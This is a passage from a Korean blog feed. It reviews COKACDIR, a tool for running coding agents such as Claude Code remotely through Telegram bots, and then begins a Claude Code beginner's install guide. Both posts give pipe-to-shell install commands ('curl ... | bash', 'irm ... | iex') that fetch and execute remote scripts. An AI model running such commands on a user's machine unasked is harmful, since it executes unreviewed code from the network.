&lt;td&gt;노트북 필요&lt;/td&gt;
&lt;td&gt;텔레그램에서 지시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장시간 작업 모니터링&lt;/td&gt;
&lt;td&gt;터미널 열어둬야 함&lt;/td&gt;
&lt;td&gt;텔레그램으로 실시간 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;예약 작업 (야간 빌드 등)&lt;/td&gt;
&lt;td&gt;별도 CI/CD 구성&lt;/td&gt;
&lt;td&gt;cron 표현식으로 예약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;팀원과 AI 공유&lt;/td&gt;
&lt;td&gt;각자 설치 필요&lt;/td&gt;
&lt;td&gt;그룹 채팅에서 공유 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;특히 &lt;strong&gt;스마트폰 하나로&lt;/strong&gt; AI 코딩 에이전트를 제어할 수 있다는 점이 핵심입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치 방법 — 5분 가이드&lt;/h2&gt;
&lt;h3&gt;Step 1: COKACDIR 설치&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;macOS / Linux:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://cokacdir.cokac.com/manage.sh &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; cokacctl&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Windows (관리자 PowerShell):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;powershell&quot;&gt;&lt;pre class=&quot;language-powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token function&quot;&gt;irm&lt;/span&gt; https:&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;cokacdir&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cokac&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;com/manage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ps1 &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;iex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; cokacctl&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;설치하면 &lt;code class=&quot;language-text&quot;&gt;cokacctl&lt;/code&gt;이라는 관리 TUI가 열립니다.&lt;/p&gt;
&lt;h3&gt;Step 2: 텔레그램 봇 생성&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;텔레그램에서 &lt;strong&gt;@BotFather&lt;/strong&gt;를 검색&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;/newbot&lt;/code&gt; 명령 입력&lt;/li&gt;
&lt;li&gt;봇 이름과 아이디 설정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API 토큰&lt;/strong&gt;을 복사 (예: &lt;code class=&quot;language-text&quot;&gt;123456789:ABCdefGhIjKlmNoPqRsTuVwXyZ&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 3: COKACDIR 설정&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;cokacctl&lt;/code&gt; TUI에서:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i&lt;/code&gt; 키 — 설치&lt;/li&gt;
&lt;li&gt;복사한 텔레그램 봇 토큰 입력&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;s&lt;/code&gt; 키 — 서버 시작&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 3단계면 끝입니다. 이제 텔레그램에서 내가 만든 봇에게 메시지를 보내면, 내 컴퓨터의 코딩 에이전트가 작업을 수행합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;주요 기능&lt;/h2&gt;
&lt;h3&gt;1. 텔레그램에서 코딩 에이전트 제어&lt;/h3&gt;
&lt;p&gt;텔레그램 봇에게 자연어로 메시지를 보내면, 연결된 코딩 에이전트(Claude Code 등)가 실행합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;나: src/api/auth.js에서 JWT 만료 시간을 1시간에서 24시간으로 변경해줘

봇: [Claude Code 실행 중...]
     auth.js 파일을 수정했습니다.
     - expiresIn: &apos;1h&apos; → &apos;24h&apos;
     변경 완료.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실시간 스트리밍으로 진행 상황을 확인할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;2. 멀티 에이전트 지원&lt;/h3&gt;
&lt;p&gt;하나의 COKACDIR에서 여러 코딩 에이전트를 전환할 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용할 에이전트/모델 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;세션 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/start&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;세션 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;세션 중지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/clear&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;대화 초기화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;3. 예약 작업&lt;/h3&gt;
&lt;p&gt;cron 표현식이나 절대 시간으로 작업을 예약할 수 있습니다. 야간 빌드, 정기 코드 점검 같은 반복 작업에 유용합니다.&lt;/p&gt;
&lt;h3&gt;4. 파일 업로드/다운로드&lt;/h3&gt;
&lt;p&gt;텔레그램으로 파일을 보내면 서버에 업로드되고, &lt;code class=&quot;language-text&quot;&gt;/down&lt;/code&gt; 명령으로 서버의 파일을 텔레그램으로 받을 수 있습니다.&lt;/p&gt;
&lt;h3&gt;5. 보안 기능&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AES-256 암호화&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;설정 가능한 청크 분할로 파일 암호화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;접근 제어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/allowed&lt;/code&gt;로 허용 사용자 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;도구 제한&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/allowedtools&lt;/code&gt;로 사용 가능한 도구 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;추가 기능 — 코딩 에이전트 외&lt;/h2&gt;
&lt;p&gt;COKACDIR은 원격 코딩 제어 외에도 부가 기능을 제공합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;터미널 멀티패널&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;분할 화면으로 여러 작업 동시 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;20+ 언어 구문 강조&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;코드 파일 내장 뷰어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;이미지 뷰어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kitty, iTerm2, Sixel 프로토콜 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Git 통합&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;상태, 커밋, 로그, 브랜치 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSH/SFTP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;원격 서버 접속&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;중복 파일 감지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;디스크 정리 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;프로세스 관리자&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실행 중인 프로세스 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;지원 플랫폼&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OS&lt;/th&gt;
&lt;th&gt;아키텍처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;macOS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apple Silicon (ARM64), Intel (x86_64)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;x86_64, ARM64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;x86_64, ARM64&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Rust로 작성되어 단일 바이너리(15~20MB)로 배포됩니다. 별도 런타임 설치 없이 바로 실행할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 활용 — 직접 써본 경험&lt;/h2&gt;
&lt;h3&gt;멀티봇 협업 구조: AI 2대를 한 그룹에서 굴리기&lt;/h3&gt;
&lt;p&gt;저는 사내에서 &lt;strong&gt;COKACDIR 봇 2개&lt;/strong&gt;를 운영하고 있습니다. 각 봇에 서로 다른 코딩 에이전트를 연결하고, 하나의 텔레그램 그룹에 초대해서 &lt;strong&gt;역할을 분리&lt;/strong&gt;했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;봇&lt;/th&gt;
&lt;th&gt;연결 에이전트&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bot A&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;코드 작성, 아키텍처 설계, 리팩토링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bot B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Codex CLI / Gemini CLI&lt;/td&gt;
&lt;td&gt;코드 리뷰, 테스트 작성, 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;작업 흐름은 이렇습니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[텔레그램 그룹]

나: @BotA 사용자 인증 API를 만들어줘.
    JWT 기반, refresh token 포함.

Bot A (Claude Code):
    인증 API를 작성했습니다.
    - POST /auth/login
    - POST /auth/refresh
    - POST /auth/logout
    파일 3개 생성 완료.

나: @BotB 방금 Bot A가 만든 인증 API 코드를 리뷰해줘.
    보안 취약점이 있는지 확인하고, 테스트도 작성해줘.

Bot B (Codex CLI):
    리뷰 완료. 2가지 개선사항:
    1. refresh token 저장 시 해싱 필요
    2. rate limiting 미적용
    테스트 파일 생성 완료 (12 cases).

나: @BotA 리뷰 반영해서 수정해줘.

Bot A: 수정 완료. 모든 테스트 통과.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;핵심은 &quot;작성 → 검증 → 수정&quot;을 서로 다른 AI가 맡는다는 점&lt;/strong&gt;입니다. 한 AI가 만든 코드를 다른 AI가 검증하면, 한 AI에게 모든 걸 맡기는 것보다 완성도가 확실히 올라갑니다. 사람이 하는 코드 리뷰 프로세스와 똑같은 구조를 AI끼리 돌리는 셈입니다.&lt;/p&gt;
&lt;h3&gt;이 구조의 장점&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;크로스 체크&lt;/strong&gt;: AI도 실수합니다. 다른 모델이 검증하면 놓치는 부분을 잡아냅니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;역할 특화&lt;/strong&gt;: Claude Code는 코드 생성이 강하고, Codex는 테스트 작성에 능합니다. 각자 잘하는 일을 맡기면 효율적입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 그룹에서 관리&lt;/strong&gt;: 팀원 모두가 대화 흐름을 볼 수 있고, 중간에 개입할 수 있습니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;기록 자동 보관&lt;/strong&gt;: 텔레그램 채팅 기록이 곧 작업 로그입니다&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;기타 활용 시나리오&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;외출 중 긴급 핫픽스:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;나: production에서 /api/users 500 에러. 로그 확인하고 수정해줘.
봇: null 참조 에러 확인. 수정 완료. 커밋할까요?
나: 응
봇: 푸시 완료.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;야간 자동 작업:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;cron 표현식으로 매일 새벽 2시에 테스트를 실행하고 결과를 텔레그램으로 받을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;팀 공유:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;텔레그램 그룹에 봇을 추가하면 팀원 모두가 AI 에이전트를 사용할 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;/allowed&lt;/code&gt; 명령으로 접근 권한을 관리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;주의할 점&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;보안&lt;/strong&gt;: 내 컴퓨터에서 AI가 직접 실행되므로, 봇 토큰 관리와 접근 제어(&lt;code class=&quot;language-text&quot;&gt;/allowed&lt;/code&gt;)를 반드시 설정하세요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비용&lt;/strong&gt;: COKACDIR 자체는 무료지만, 연결하는 코딩 에이전트(Claude Code 등)의 사용 요금은 별도입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;컴퓨터 상태&lt;/strong&gt;: 내 컴퓨터가 켜져 있고 인터넷에 연결되어 있어야 합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MIT 라이선스&lt;/strong&gt;: 소프트웨어는 &quot;AS IS&quot;로 제공되며, 데이터 손실 등에 대한 책임은 사용자에게 있습니다&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;한 줄 요약&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;텔레그램으로 Claude Code/Codex/Gemini를 원격 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;추천 대상&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;이동 중에도 AI 코딩을 사용하고 싶은 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비용&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;COKACDIR 무료, 에이전트 비용 별도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;설치 시간&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;약 5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/kstost/cokacdir&quot;&gt;kstost/cokacdir&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&quot;AI 코딩 에이전트는 좋은데 항상 컴퓨터 앞에 있어야 한다&quot;는 불편함을 정확히 해결하는 도구입니다. 특히 Claude Code를 주력으로 쓰는 개발자라면, 텔레그램 봇 하나 만들어두는 것만으로 활용도가 크게 올라갑니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Claude Code가 설치되어 있어야 하나요?&lt;/h3&gt;
&lt;p&gt;네. COKACDIR은 새로운 AI가 아니라, 기존에 설치된 코딩 에이전트의 리모컨 역할입니다. Claude Code, Codex CLI, Gemini CLI 중 하나 이상이 설치되어 있어야 합니다.&lt;/p&gt;
&lt;h3&gt;Q. 컴퓨터를 끄면 어떻게 되나요?&lt;/h3&gt;
&lt;p&gt;COKACDIR 서버가 꺼지므로 텔레그램에서 제어할 수 없습니다. 항상 접근하려면 클라우드 서버(AWS, GCP 등)에 설치하는 것을 추천합니다.&lt;/p&gt;
&lt;h3&gt;Q. 보안은 안전한가요?&lt;/h3&gt;
&lt;p&gt;텔레그램 봇 토큰과 &lt;code class=&quot;language-text&quot;&gt;/allowed&lt;/code&gt; 명령으로 접근을 제한할 수 있습니다. 다만 내 컴퓨터에서 AI가 직접 명령을 실행하므로, 봇 토큰 유출에 주의해야 합니다. AES-256 파일 암호화도 지원합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 AI 코딩 에이전트를 어떻게 원격으로 활용하고 계신가요? 다른 방법을 쓰고 계시다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude Code 입문 가이드 2026 — 설치부터 첫 프로젝트까지 완전 정리]]></title><description><![CDATA[Claude Code 입문 가이드 2026 커버 — 설치부터 첫 프로젝트 실행까지 완전 정리 안녕하세요, 자바파커입니다. "AI 코딩 도구가 너무 많은데, Claude Code…]]></description><link>https://blog.javapark.kr/beginner-guide-2026/</link><guid isPermaLink="false">https://blog.javapark.kr/beginner-guide-2026/</guid><pubDate>Wed, 01 Apr 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-beginner-guide-2026.png&quot; alt=&quot;Claude Code 입문 가이드 2026 커버 — 설치부터 첫 프로젝트 실행까지 완전 정리&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI 코딩 도구가 너무 많은데, Claude Code는 뭐가 다른 건가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 말하면 — &lt;strong&gt;직접 써보기 전에는 저도 반신반의했습니다.&lt;/strong&gt; 터미널에서 AI가 코드를 짠다고? 결국 ChatGPT에 코드 달라고 하는 거랑 뭐가 다르지?&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;완전히 다릅니다.&lt;/strong&gt; Claude Code는 대화창에서 코드를 복붙하는 게 아니라, 내 프로젝트 폴더 안에서 직접 파일을 읽고, 수정하고, 테스트까지 실행하는 AI 에이전트입니다. 오늘은 설치부터 첫 프로젝트까지 한 번에 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code란? — 30초 정의&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Claude Code는 Anthropic이 만든 AI 코딩 에이전트&lt;/strong&gt;입니다. 터미널(또는 IDE)에서 자연어로 지시하면, AI가 프로젝트 전체를 이해하고 직접 코드를 작성·수정·실행합니다.&lt;/p&gt;
&lt;p&gt;기존 AI 코딩 도구와의 차이를 정리하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;ChatGPT/웹 AI&lt;/th&gt;
&lt;th&gt;GitHub Copilot&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;작동 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;대화창에서 코드 생성&lt;/td&gt;
&lt;td&gt;에디터에서 자동완성&lt;/td&gt;
&lt;td&gt;프로젝트 전체를 이해하고 직접 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;파일 접근&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;불가 (복붙 필요)&lt;/td&gt;
&lt;td&gt;현재 파일 중심&lt;/td&gt;
&lt;td&gt;프로젝트 전체 파일 읽기/쓰기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;명령 실행&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;터미널 명령 직접 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;컨텍스트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;대화 내용만&lt;/td&gt;
&lt;td&gt;열린 파일 주변&lt;/td&gt;
&lt;td&gt;최대 1M 토큰 (프로젝트 전체)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자율성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;높음 (멀티스텝 작업)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;한 줄 요약: &lt;strong&gt;&quot;내 컴퓨터에서 일하는 AI 개발자&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치 방법 — 3분이면 끝&lt;/h2&gt;
&lt;h3&gt;시스템 요구사항&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;최소 사양&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;macOS 13+, Windows 10+, Ubuntu 20.04+, Debian 10+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4GB 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;필수&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows: Git for Windows 설치 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;설치 (권장: 네이티브 설치)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;macOS / Linux:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://claude.ai/install.sh &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Windows (PowerShell):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;powershell&quot;&gt;&lt;pre class=&quot;language-powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token function&quot;&gt;irm&lt;/span&gt; https:&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;claude&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ai/install&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ps1 &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;iex&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Homebrew (macOS):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; claude-code&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;설치 후 바로 실행:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;claude&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;첫 실행 시 Anthropic 계정 로그인 화면이 나옵니다. 브라우저가 열리면 로그인하고 권한을 승인하면 끝입니다.&lt;/p&gt;
&lt;h3&gt;IDE 연동 (선택)&lt;/h3&gt;
&lt;p&gt;CLI 외에 IDE에서도 사용할 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;플랫폼&lt;/th&gt;
&lt;th&gt;설치 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VS Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;확장 마켓플레이스에서 &quot;Claude Code&quot; 검색 → 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JetBrains&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;플러그인 마켓플레이스에서 &quot;Claude Code&quot; 검색 → 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;데스크톱 앱&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;macOS / Windows 전용 앱 (claude.ai에서 다운로드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;웹&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;claude.ai/code 에서 바로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
